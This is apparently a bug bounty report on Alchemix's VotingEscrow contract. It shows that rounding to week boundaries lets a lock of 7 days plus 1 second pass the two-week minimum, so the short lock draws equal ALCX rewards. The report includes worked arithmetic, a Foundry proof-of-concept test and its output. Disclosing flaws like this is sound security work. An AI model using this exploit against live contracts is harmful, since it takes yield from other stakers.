31276 - [SC - High] BPT can be locked for only week resulting in u...
Submitted on May 16th 2024 at 03:32:46 UTC by @marchev for Boost | Alchemix
Report ID: #31276
Report type: Smart Contract
Report severity: High
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol
Impacts:
- Theft of unclaimed yield
Description
Brief/Intro
The 80/20 ALCX/WETH BPT has a minimum lock period of 1 epoch (2 weeks). However, a flaw allows malicious actors to lock their BPT for just 1 week, resulting in unfair ALCX reward distribution. This means a malicious actor can unfairly claim rewards without meeting the minimum 2-week lock requirement.
Vulnerability Details
The _createLock() function is responsible for creating a lock when depositing Balancer Pool Tokens in VotingEscrow. It should enforce a minimum lock period of 1 epoch (2 weeks):
function _createLock(
uint256 _value,
uint256 _lockDuration,
bool _maxLockEnabled,
address _to
) internal returns (uint256) {
// ...
uint256 unlockTime = /** ... */ ((block.timestamp + _lockDuration) / WEEK) * WEEK;
// ...
require(unlockTime >= (((block.timestamp + EPOCH) / WEEK) * WEEK), "Voting lock must be 1 epoch");
// ...
}
However, this check is flawed. A malicious actor can lock BPTs for just 1 week instead of the required 2 weeks. This allows them to unjustly receive rewards as if they had locked their BPTs for a whole epoch, effectively stealing rewards from other participants.
Example Scenario:
- Next epoch starts at
1717632000(Thu Jun 06 2024 00:00:00 UTC)
- Alice locks 1 BPT for
2 weeks(1 epoch) atblock.timestamp = 1716422401(Thu May 23 2024 00:00:01 UTC) - Bob locks 1 BPT for
7 days + 1 secondsatblock.timestamp = 1717027199(Wed May 29 2024 23:59:59 UTC) - The epoch resets on
1717632000(Thu Jun 06 2024 00:00:00 UTC)
Expected behavior: Bob should not be able to lock his BPT for less than 1 epoch (2 weeks).
Actual behavior: Alice and Bob receive equal rewards.
Bob circumvents the minimum lock duration check. Here’s why:
block.timestamp = 1717027199
unlockTime = ((block.timestamp + _lockDuration) / WEEK) * WEEK
unlockTime = ((1717027199 + 7 days + 1 seconds) / WEEK) * WEEK
unlockTime = 1717632000
The check performed:
unlockTime >= (((block.timestamp + EPOCH) / WEEK) * WEEK)
1717632000 >= (((1717027199 + 2 weeks) / 1 weeks) * 1 weeks)
1717632000 >= 1717632000
The check passes for Bob, even though his lock time is only 7 days + 1 second.
Impact Details
The flawed minimum lock time check allows users to lock BPTs for only 1 week but still receive rewards for a full epoch. This results in unfair reward distribution, with malicious users effectively stealing rewards from others.
References
Proof of Concept
The following coded PoC demonstrates the issue.
Add the following test case to VotingEscrow.t.sol:
function test_can_create_lock_for_less_than_1_epoch() public {
console.log(newEpoch());
address alice = address(1337);
vm.label(alice, "Alice");
address bob = address(31337);
vm.label(bob, "Bob");
// Mint Alice & Bob some BPT
deal(bpt, alice, 10e18);
deal(bpt, bob, 10e18);
// Warp time to exactly 2 weeks before the new epoch
hevm.warp(newEpoch() - 2 weeks);
hevm.startPrank(alice);
IERC20(bpt).approve(address(veALCX), 1e18);
uint256 aliceTokenId = veALCX.createLock(1e18, 2 weeks, false);
voter.reset(aliceTokenId);
// Alice locks 1 BPT for 2 weeks (the minimum lock period) and reset the tokenId
hevm.stopPrank();
// Warp time to 7 days and 2 seconds before the next epoch starts
hevm.warp(newEpoch() - (7 days + 2 seconds));
hevm.startPrank(bob);
IERC20(bpt).approve(address(veALCX), 1e18);
uint256 bobTokenId = veALCX.createLock(1e18, 7 days + 1 seconds, false);
// Bob succeeds in locking 1 BPT for 7 days + 1 seconds which is less than the required minimum lock period of 1 epoch (2 weeks)
voter.reset(bobTokenId);
hevm.stopPrank();
// Warp time to the start of the new epoch
hevm.warp(newEpoch());
// Distribute the rewards
voter.distribute();
// Print the unclaimed rewards accrued by Alice & Bob
console.log("Unclaimed ALCX (Alice): %s", distributor.claimable(aliceTokenId));
console.log("Unclaimed FLUX (Alice): %s", flux.getUnclaimedFlux(aliceTokenId));
console.log("Unclaimed ALCX (Bob): %s", distributor.claimable(bobTokenId));
console.log("Unclaimed FLUX (Bob): %s", flux.getUnclaimedFlux(bobTokenId));
}
Make sure the following entries are updated in Makefile:
# file to test
FILE=VotingEscrow
# specific test to run
TEST=test_can_create_lock_for_less_than_1_epoch
Run the PoC via:
make test_file_test
PoC output:
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] test_can_create_lock_for_less_than_1_epoch() (gas: 3647937)
Logs:
Unclaimed ALCX (Alice): 1023262077024604404512
Unclaimed FLUX (Alice): 38356132673449616
Unclaimed ALCX (Bob): 1023262077024604404512
Unclaimed FLUX (Bob): 19178113901412783
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.46s (33.49s CPU time)
Ran 1 test suite in 46.90s (45.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)